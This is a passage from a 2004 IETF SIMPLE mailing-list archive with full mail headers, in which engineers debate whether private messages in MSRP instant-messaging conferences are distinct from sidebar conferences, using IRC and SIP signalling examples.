> > > > >>>>messaging facility could be supported by sidebars, but in=20
> > > > this case
> > > > >>>> the focus would need to have as many sidebars constantly=20
> > > > setup, as
> > > > >>>> there are different possible participant subset=20
> > > > combinations. Way=20
> > > > >>>>too complex and not needed.
> > > > >>>
> > > > >>>
> > > > >>>I dont think that, functionally, what you are describing is=20
> > > > >>
> > > > >>different
> > > > >>
> > > > >>> from a sidebar. What differs is that the specifics of=20
> > > this media=20
> > > > >>>type allow for a more efficient implementation of the=20
> > > sidebar than=20
> > > > >>>would be possible for another media type, such as audio.=20
> > > > >>
> > > > >>Indeed, the=20
> > > > >>
> > > > >>>same is true for IM in general - why set up a session (ala=20
> > > > >>
> > > > >>msrp) when
> > > > >>
> > > > >>>you can just send a pager mode?
> > > > >>
> > > > >>The ultimate proof of difference in functionality is=20
> > that private
> > > > >>messages are usable and useful in a sidebar - in fact=20
> > it makes no
> > > > >>difference whether they're sent within the context of a=20
> > > > conference, a
> > > > >>conference sidebar, or a sidebar of a conference sidebar.
> > > > >>
> > > > >>Let me provide a concrete example of an already existing=20
> > > > service (IRC)
> > > > >>that has what I think is a close approximation of both=20
> > sidebar and
> > > > >>private message functionality. (BTW, I feel strongly=20
> > that if MSRP
> > > > >>conferences aren't as feature rich as IRC is, and provide the=20
> > > > >>same user
> > > > >>experience, we've failed miserably.)
> > > > >>
> > > > >>Channels in IRC have identities, e.g., #helsinki, and=20
> > > > >>participant lists
> > > > >>that are delivered in a very similar manner that the=20
> > > conference-info
> > > > >>events would be delivered. Users join these channels=20
> > > using JOIN, at
> > > > >>which time they get the participant list, and after that,=20
> > > > >>updates e.g.,
> > > > >>whenever anyone leaves or joins the channel.
> > > > >>
> > > > >>Users can send private messages to the other participants in=20
> > > > >>the channel:
> > > > >>
> > > > >>	PRIVMSG foobar :Some nick you got there foobar!
> > > > >>
> > > > >>Usually, these messages are displayed in the same pane as=20
> > > > the rest of
> > > > >>the channel's messages, including information about the=20
> > sender but
> > > > >>marked accordingly as private.
> > > > >>
> > > > >>A user can also invite others to a sidebar of sorts, that=20
> > > is, a new
> > > > >>channel, whose properties can be set such that it can=20
> > be joined by
> > > > >>invitation only.
> > > > >>
> > > > >>	INVITE FunnyNick #my_channel
> > > > >>	INVITE BeerLover #my_channel
> > > > >>	INVITE ROOLZ #my_channel
> > > > >>
> > > > >>Joining this new channel as a result of an invitation=20
> > (with JOIN)
> > > > >>usually results in a new window, moving the focus of=20
> > > > conversation away
> > > > >>from the original channel, but still maintaining the=20
> > > > original channel'
> > > > >>and its messages active in the background.
> > > > >>
> > > > >>The users may again send messages either to the entire=20
> > > > >>channel (MSG), or
> > > > >>to only one participant (PRIVMSG). A recipient of an=20
> INVITE will
> > > > >>generally make a choice just like in a SIP invitation whether=20
> > > > >>or not to
> > > > >>join the sidebar or not. Receiving a PRIVMSG requires no=20
> > > > actions from
> > > > >>the recipient. Indeed, it might even go unnoticed.
> > > > >>
> > > > >>Taking this into account, I fail to see how sidebars alone=20
> > > > can be made
> > > > >>to work in providing similar functionality in MSRP=20
> > > > conferences. Either
> > > > >>sidears or private messages alone won't result in the=20
> > > same level of
> > > > >>functionality.
> > > > >>
> > > > >>Wrapping all private conversation inside a sidebar is=20
> incredibly
> > > > >>inefficient and results in bad user experience, since there=20
> > > > >>is no way to
> > > > >>distinguish a REFER that is to a sidebar whose sole purpose=20
> > > > >>is to send a
> > > > >>single private message to the user or have a real ad-hoc=20
> > > > conversation
> > > > >>posibly consisting of a real exchange of messages. In fact,=20
> > > > this would
> > > > >>require 4 rounds of singalling (not including sidebar=20
> > creation and
> > > > >>tear-down), plus user interaction in between:
> > > > >>
> > > > >>REFER (to sidebar)
> > > > >>200 OK
> > > > >>
> > > > >>-Query/inform user whether wants to join-
> > > > >>
> > > > >>INVITE (to sidebar)
> > > > >>200 OK
> > > > >>ACK
> > > > >>
> > > > >>(Note: would probably also require subscription to=20
> > > conference-info,
> > > > >>because one would be interested to whom they are sending=20
> > > the private
> > > > >>messages...)
> > > > >>
> > > > >>MSRP SEND
> > > > >>MSRP OK
> > > > >>
> > > > >>BYE
> > > > >>200 OK
> > > > >>
> > > > >>...as opposed to a single round of messages:
> > > > >>
> > > > >>MSRP SEND (private)
> > > > >>200 OK
> > > > >>
> > > > >>(Note that enabling auto-answering wrt the REFER would in the=20
> > > > >>worst case
> > > > >>result in a sidebar bombardment, or having a user be=20
> > > moved over to a
> > > > >>sidebar in the middle of, say, message composition.)
> > > > >>
> > > > >>The same level of functionality would also not be met with=20
> > > > only using
> > > > >>private messages. AFAIK, the purpose of a sidebar is to=20
> > > > move the focus
> > > > >>of the conversation temporarily outside the original=20
> > > > conference. This
> > > > >>requires being able to wrap a discussion into a separate=20
> > > > >>context. A very
> > > > >>important aspect of this is to let the user decide whether to=20
> > > > >>joing such
> > > > >>a sidebar, and when to join it. Determining to which context a
> > > > >>particular received private message belongs to can in this=20
> > > > >>case only be
> > > > >>done in the recipients head - there are no protocol=20
> > > > elements to help.
> > > > >>
> > > > >>As a conclusion, I don't see how sidebars alone can provide=20
> > > > >>the required
> > > > >>functionality.
> > > > >>
> > > > >>
> > > > >>>So, the question is, do we see the perceived efficiency=20
> > > > >>
> > > > >>improvements=20
> > > > >>
> > > > >>>of a pager-mode sidebar as being sufficiently good to=20
> > allow for=20
> > > > >>>defining a separate sidebar mechanism for it?
> > > > >>
> > > > >>It is also about user interaction. When a user receives an=20
> > > > >>INVITE for an
> > > > >>MSRP session, it can make a choice just like in a voice=20
> > > call between
> > > > >>accepting the call or rejecting it. Page mode doesn't=20
> > > provide that=20
> > > > >>functionality.
> > > > >>
> > > > >>Cheers,
> > > > >>Aki
> > > > >>
> > > > >>
> > > > >>>-Jonathan R.
> > > > >>
> > > >=20
> > > > _______________________________________________
> > > > Simple mailing list
> > > > Simple@ietf.org
> > > > https://www1.ietf.org/mailman/listinfo/simple
> > > >=20
> > >=20
> >=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 21:47:52 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24875
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 21:47:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axzwm-0002WH-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 21:47:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axzvf-0002Jm-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 21:46:44 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axzux-00028H-03; Mon, 01 Mar 2004 21:45:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxzgZ-0007U4-WF; Mon, 01 Mar 2004 21:31:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzgU-0007Cs-IU; Mon, 01 Mar 2004 21:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axzfr-0007BY-8I
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 21:30:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24243
	for <simple@ietf.org>; Mon, 1 Mar 2004 21:30:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axzfo-0000ba-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:30:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axzev-0000Sk-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:29:27 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzeI-0000JM-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:28:46 -0500
Received: from nokia.com (esnira-pool3014155.nokia.com [10.162.14.155])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i222Sa706895;
	Tue, 2 Mar 2004 04:28:36 +0200 (EET)
Message-ID: <4043F152.1090108@nokia.com>
From: Miguel Garcia <Miguel.An.Garcia@nokia.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en, es-es
MIME-Version: 1.0
To: "Isomaki Markus (Nokia-NRC/Helsinki)" <Markus.Isomaki@nokia.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>,
        jdrosen@dynamicsoft.com, pkyzivat@cisco.com,
        "Khartabil Hisham (Nokia-TP-MSW/Helsinki)" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A367@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A367@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 02 Mar 2004 04:28:34 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.2 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Folks, what about this one:

A sidebar conference is a temporary scoped subconference. By temporary 
scoped I mean it exists  (has an associated resource URI) for some 
duration time. The participants may or may not be part of the main 
conference. Messages are addressed to the sidebar conference, in a 
similar way a message is addressed to the conference. The sender may or 
may not know who are the members of the sidebar conference.

A private message is not temporary scoped and it is not identified by a 
resource URI. Unlike sidebar conferences, the participants are a subset 
of the conference. Unlike sidebar conferences, private messages are 
addressed to each of the receivers, since there is not a resource 
associated with it. The sender has to explicitly define the receivers of 
the message.

Miguel

Isomaki Markus (Nokia-NRC/Helsinki) wrote:

> Hi,
> 
> I don't see us getting to agreement here... Still, see below:
> 
> 
>>-----Original Message-----
>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
>>Sent: 02 March, 2004 03:35
>>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
>>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
>>simple@ietf.org
>>Subject: RE: [Simple] Chat sessions
>>
>>
>>What is the difference between a sidebar and a private message?
>>
>>I think the ONLY difference is the number of people involved.
>>
>>A sidebar is two or more.  A private message is exactly two.
>>
> 
> 
> I don't think we need to limit the number of recipients for the private message. The only thing is that they need to be conference participants.
> 
> 
>>There is NO other meaningful difference.
>>
>>Your argument on overhead is directly comparable to the argument
>>we went through when we defined sidebars as separate sessions.
>>I argued that we should NOT create a separate session, but
>>simply alter the media policy appropriately.  You are simply
>>repeating the arguments I made.
>>
>>I lost that argument.  
>>
> 
> 
> My comment to that is that there are differences in medias that should be taken into account. As you see in the example I made, having only one solution leads to hugely unoptimal system. 
> 
> 
>>Brian
>>
>>
>>>-----Original Message-----
>>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
>>>Sent: Monday, March 01, 2004 8:16 PM
>>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
>>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
>>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
>>>simple@ietf.org
>>>Subject: RE: [Simple] Chat sessions
>>>
>>>
>>>Hi,
>>>
>>>It seems we are not getting the message through ;)
>>>
>>>Let's see how sending a private message looks like as a 
>>>sidebar vs. as proposed in the current draft. The case is 
>>>this: Users A and B participate in the same conference, A 
>>>wants to send a private message to B.
>>>
>>>Sidebar case would be roughly like this:
>>>1. A creates a conference for a sidebar using INVITE
>>>   - new MSRP session is established between A and the new 
>>>focus instance
>>>2. A refers B to that conference
>>>3. B joins the conference
>>>   - new MSRP session is established
>>>4. A sends MSRP SEND request to the conference
>>>5. focus forwards it to B
>>>6. A sends BYE
>>>7. focus sends BYE to B
>>>
>>>If B replies after 10 seconds, the whole process is followed 
>>>again from 1 to 7.
>>>
>>>Private message case:
>>>1. A sends private message targeted to B over an existing 
>>
>>MSRP session
>>
>>>2. focus forwards it to B
>>>
>>>So which solution would you like to adopt? 
>>>
>>>Markus
>>>
>>>
>>>
>>>>-----Original Message-----
>>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
>>>>Sent: 01 March, 2004 12:41
>>>>To: Niemi Aki (Nokia-M/Espoo)
>>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
>>>>pkyzivat@cisco.com; Khartabil Hisham 
>>
>>(Nokia-TP-MSW/Helsinki); Garcia
>>
>>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
>>>>Subject: RE: [Simple] Chat sessions
>>>>
>>>>
>>>>Aki
>>>>
>>>>My post was meant to point out that we had decided to 
>>>>implement sidebars
>>>>as separate dialogs from main conferences, which is similar 
>>>
>>>to making
>>>
>>>>"private messages" separate dialogs from a main IM 
>>
>>dialog.  In that
>>
>>>>way, I think that sidebars and private messages are the 
>>>
>>>same; they are
>>>
>>>>media sent to a subset of participants in the group.  If there
>>>>is a reason to allow a special way to subset destinations for a
>>>>private message rather than the entire chat group, then whatever
>>>>argument you make would apply to a sidebar.  
>>>>
>>>>Brian
>>>>
>>>>
>>>>>-----Original Message-----
>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>>>>Sent: Monday, March 01, 2004 2:58 AM
>>>>>To: ext Rosen, Brian
>>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>>>>Subject: Re: [Simple] Chat sessions
>>>>>
>>>>>
>>>>>Brian,
>>>>>
>>>>>I've never argued for private messages over sidebars. I still 
>>>>>maintain 
>>>>>that sidebars and private messages are different and 
>>>>
>>>>*complimentary* 
>>>>
>>>>>features, and that we need *both* to have a complete 
>>>>
>>>>solution for IM 
>>>>
>>>>>conferences.
>>>>>
>>>>>Cheers,
>>>>>Aki
>>>>>
>>>>>ext Rosen, Brian wrote:
>>>>>
>>>>>>Aki
>>>>>>
>>>>>>When we were discussing sidebars, I made arguments like 
>>>>>
>>>>>this against making
>>>>>
>>>>>>a sidebar
>>>>>>a separate session.  Sidebars, I argued, are just media 
>>>>>
>>>>>(mixing) changes,
>>>>>
>>>>>>they have
>>>>>>nothing to do with session management.
>>>>>>
>>>>>>I lost this argument, and I will be very unhappy if IM 
>>>>>
>>>>>works differently.
>>>>>
>>>>>>One of
>>>>>>the reasons I lost it was the observation that a sidebar 
>>>>>
>>>>>could include
>>>>>
>>>>>>participants
>>>>>>who are not main conference participants.  I think you have 
>>>>>
>>>>>the same issue
>>>>>
>>>>>>here.
>>>>>>
>>>>>>Brian
>>>>>>
>>>>>>
>>>>>>
>>>>>>>-----Original Message-----
>>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
>>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
>>>>>>>To: ext Jonathan Rosenberg
>>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
>>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
>>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
>>>>>>>Subject: Re: [Simple] Chat sessions
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>ext Jonathan Rosenberg wrote:
>>>>>>><snip />
>>>>>>>
>>>>>>>>>3. As Aki explained, sidebars and private IMs within a 
>>>>
>>>>conference 
>>>>
>>>>>>>>>are two different things. Sidebars are subconferences, 
>>>>>
>>>>>that include
>>>>>
>>>>>>>>>a certain subset of the participants in the main 
>>>>>
>>>>>conference. They 
>>>>>
>>>>>>>>>need to be explicitly created and deleted. Private 
>>>
>>>IMs within a 
>>>
>>>>>>>>>conference are also targeted to a subset of the conference 
>>>>>>>>>participants. But there is no need to setup a sidebar or 
>>>>>
>>>>>any other 
>>>>>
>>>>>>>>>additional context to send them. The recipients can 
>>
>>simply be 
>>
>>>>>>>>>signaled within each message (as proposed by using CPIM 
>>>>>
>>>>>To header).
>>>>>
>>>>>>>>>This seems to be a specific property of IM, as 
>>
>>this sort of 
>>
>>>>>>>>>addressing would be impossible e.g. in RTP. In 
>>
>>theory priate 
>>
>>>>>>>>>messaging facility could be supported by sidebars, but in 
>>>>>
>>>>>this case
>>>>>
>>>>>>>>>the focus would need to have as many sidebars constantly 
>>>>>
>>>>>setup, as
>>>>>
>>>>>>>>>there are different possible participant subset 
>>>>>
>>>>>combinations. Way 
>>>>>
>>>>>>>>>too complex and not needed.
>>>>>>>>
>>>>>>>>
>>>>>>>>I dont think that, functionally, what you are describing is 
>>>>>>>
>>>>>>>different
>>>>>>>
>>>>>>>
>>>>>>>>from a sidebar. What differs is that the specifics of 
>>>>
>>>>this media 
>>>>
>>>>>>>>type allow for a more efficient implementation of the 
>>>>
>>>>sidebar than 
>>>>
>>>>>>>>would be possible for another media type, such as audio. 
>>>>>>>
>>>>>>>Indeed, the 
>>>>>>>
>>>>>>>
>>>>>>>>same is true for IM in general - why set up a session (ala 
>>>>>>>
>>>>>>>msrp) when
>>>>>>>
>>>>>>>
>>>>>>>>you can just send a pager mode?
>>>>>>>
>>>>>>>The ultimate proof of difference in functionality is 
>>>
>>>that private
>>>
>>>>>>>messages are usable and useful in a sidebar - in fact 
>>>
>>>it makes no
>>>
>>>>>>>difference whether they're sent within the context of a 
>>>>>
>>>>>conference, a
>>>>>
>>>>>>>conference sidebar, or a sidebar of a conference sidebar.
>>>>>>>
>>>>>>>Let me provide a concrete example of an already existing 
>>>>>
>>>>>service (IRC)
>>>>>
>>>>>>>that has what I think is a close approximation of both 
>>>
>>>sidebar and
>>>
>>>>>>>private message functionality. (BTW, I feel strongly 
>>>
>>>that if MSRP
>>>
>>>>>>>conferences aren't as feature rich as IRC is, and provide the 
>>>>>>>same user
>>>>>>>experience, we've failed miserably.)
>>>>>>>
>>>>>>>Channels in IRC have identities, e.g., #helsinki, and 
>>>>>>>participant lists
>>>>>>>that are delivered in a very similar manner that the 
>>>>
>>>>conference-info
>>>>
>>>>>>>events would be delivered. Users join these channels 
>>>>
>>>>using JOIN, at
>>>>
>>>>>>>which time they get the participant list, and after that, 
>>>>>>>updates e.g.,
>>>>>>>whenever anyone leaves or joins the channel.
>>>>>>>
>>>>>>>Users can send private messages to the other participants in 
>>>>>>>the channel:
>>>>>>>
>>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
>>>>>>>
>>>>>>>Usually, these messages are displayed in the same pane as 
>>>>>
>>>>>the rest of
>>>>>
>>>>>>>the channel's messages, including information about the 
>>>
>>>sender but
>>>
>>>>>>>marked accordingly as private.
>>>>>>>
>>>>>>>A user can also invite others to a sidebar of sorts, that 
>>>>
>>>>is, a new
>>>>
>>>>>>>channel, whose properties can be set such that it can 
>>>
>>>be joined by
>>>
>>>>>>>invitation only.
>>>>>>>
>>>>>>>	INVITE FunnyNick #my_channel
>>>>>>>	INVITE BeerLover #my_channel
>>>>>>>	INVITE ROOLZ #my_channel
>>>>>>>
>>>>>>>Joining this new channel as a result of an invitation 
>>>
>>>(with JOIN)
>>>
>>>>>>>usually results in a new window, moving the focus of 
>>>>>
>>>>>conversation away
>>>>>
>>>>>>>from the original channel, but still maintaining the 
>>>>>
>>>>>original channel'
>>>>>
>>>>>>>and its messages active in the background.
>>>>>>>
>>>>>>>The users may again send messages either to the entire 
>>>>>>>channel (MSG), or
>>>>>>>to only one participant (PRIVMSG). A recipient of an 
>>
>>INVITE will
>>
>>>>>>>generally make a choice just like in a SIP invitation whether 
>>>>>>>or not to
>>>>>>>join the sidebar or not. Receiving a PRIVMSG requires no 
>>>>>
>>>>>actions from
>>>>>
>>>>>>>the recipient. Indeed, it might even go unnoticed.
>>>>>>>
>>>>>>>Taking this into account, I fail to see how sidebars alone 
>>>>>
>>>>>can be made
>>>>>
>>>>>>>to work in providing similar functionality in MSRP 
>>>>>
>>>>>conferences. Either
>>>>>
>>>>>>>sidears or private messages alone won't result in the 
>>>>
>>>>same level of
>>>>
>>>>>>>functionality.
>>>>>>>
>>>>>>>Wrapping all private conversation inside a sidebar is 
>>
>>incredibly
>>
>>>>>>>inefficient and results in bad user experience, since there 
>>>>>>>is no way to
>>>>>>>distinguish a REFER that is to a sidebar whose sole purpose 
>>>>>>>is to send a
>>>>>>>single private message to the user or have a real ad-hoc 
>>>>>
>>>>>conversation
>>>>>
>>>>>>>posibly consisting of a real exchange of messages. In fact, 
>>>>>
>>>>>this would
>>>>>
>>>>>>>require 4 rounds of singalling (not including sidebar 
>>>
>>>creation and
>>>
>>>>>>>tear-down), plus user interaction in between:
>>>>>>>
>>>>>>>REFER (to sidebar)
>>>>>>>200 OK
>>>>>>>
>>>>>>>-Query/inform user whether wants to join-
>>>>>>>
>>>>>>>INVITE (to sidebar)
>>>>>>>200 OK
>>>>>>>ACK
>>>>>>>
>>>>>>>(Note: would probably also require subscription to 
>>>>
>>>>conference-info,
>>>>
>>>>>>>because one would be interested to whom they are sending 
>>>>
>>>>the private
>>>>
>>>>>>>messages...)
>>>>>>>
>>>>>>>MSRP SEND
>>>>>>>MSRP OK
>>>>>>>
>>>>>>>BYE
>>>>>>>200 OK
>>>>>>>
>>>>>>>...as opposed to a single round of messages:
>>>>>>>
>>>>>>>MSRP SEND (private)
>>>>>>>200 OK
>>>>>>>
>>>>>>>(Note that enabling auto-answering wrt the REFER would in the 
>>>>>>>worst case
>>>>>>>result in a sidebar bombardment, or having a user be 
>>>>
>>>>moved over to a
>>>>
>>>>>>>sidebar in the middle of, say, message composition.)
>>>>>>>
>>>>>>>The same level of functionality would also not be met with 
>>>>>
>>>>>only using
>>>>>
>>>>>>>private messages. AFAIK, the purpose of a sidebar is to 
>>>>>
>>>>>move the focus
>>>>>
>>>>>>>of the conversation temporarily outside the original 
>>>>>
>>>>>conference. This
>>>>>
>>>>>>>requires being able to wrap a discussion into a separate 
>>>>>>>context. A very
>>>>>>>important aspect of this is to let the user decide whether to 
>>>>>>>joing such
>>>>>>>a sidebar, and when to join it. Determining to which context a
>>>>>>>particular received private message belongs to can in this 
>>>>>>>case only be
>>>>>>>done in the recipients head - there are no protocol 
>>>>>
>>>>>elements to help.
>>>>>
>>>>>>>As a conclusion, I don't see how sidebars alone can provide 
>>>>>>>the required
>>>>>>>functionality.
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>So, the question is, do we see the perceived efficiency 
>>>>>>>
>>>>>>>improvements 
>>>>>>>
>>>>>>>
>>>>>>>>of a pager-mode sidebar as being sufficiently good to 
>>>
>>>allow for 
>>>
>>>>>>>>defining a separate sidebar mechanism for it?
>>>>>>>
>>>>>>>It is also about user interaction. When a user receives an 
>>>>>>>INVITE for an
>>>>>>>MSRP session, it can make a choice just like in a voice 
>>>>
>>>>call between
>>>>
>>>>>>>accepting the call or rejecting it. Page mode doesn't 
>>>>
>>>>provide that 
>>>>
>>>>>>>functionality.
>>>>>>>
>>>>>>>Cheers,
>>>>>>>Aki
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>-Jonathan R.
>>>>>>>
>>>>>_______________________________________________
>>>>>Simple mailing list
>>>>>Simple@ietf.org
>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
> 

-- 
Miguel A. Garcia           tel:+358-50-4804586
Nokia Research Center      Helsinki, Finland


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 21:48:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA25051
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 21:48:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axzwq-0000Vq-8Q
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 21:47:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i222lu8K001964
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 21:47:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axzwq-0000Vb-3k
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 21:47:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24889
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 21:47:53 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axzwn-0002WM-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 21:47:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axzvg-0002Jt-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 21:46:46 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axzux-00028H-03; Mon, 01 Mar 2004 21:45:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AxzgZ-0007U4-WF; Mon, 01 Mar 2004 21:31:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxzgU-0007Cs-IU; Mon, 01 Mar 2004 21:31:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axzfr-0007BY-8I
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 21:30:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24243
	for <simple@ietf.org>; Mon, 1 Mar 2004 21:30:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axzfo-0000ba-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:30:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axzev-0000Sk-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:29:27 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxzeI-0000JM-00
	for simple@ietf.org; Mon, 01 Mar 2004 21:28:46 -0500
Received: from nokia.com (esnira-pool3014155.nokia.com [10.162.14.155])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i222Sa706895;
	Tue, 2 Mar 2004 04:28:36 +0200 (EET)
Message-ID: <4043F152.1090108@nokia.com>
From: Miguel Garcia <Miguel.An.Garcia@nokia.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en, es-es
MIME-Version: 1.0
To: "Isomaki Markus (Nokia-NRC/Helsinki)" <Markus.Isomaki@nokia.com>
CC: "ext Rosen, Brian" <Brian.Rosen@marconi.com>,
        "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>,
        jdrosen@dynamicsoft.com, pkyzivat@cisco.com,
        "Khartabil Hisham (Nokia-TP-MSW/Helsinki)" <hisham.khartabil@nokia.com>,
        simple@ietf.org
Subject: Re: [Simple] Chat sessions
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A367@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A367@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
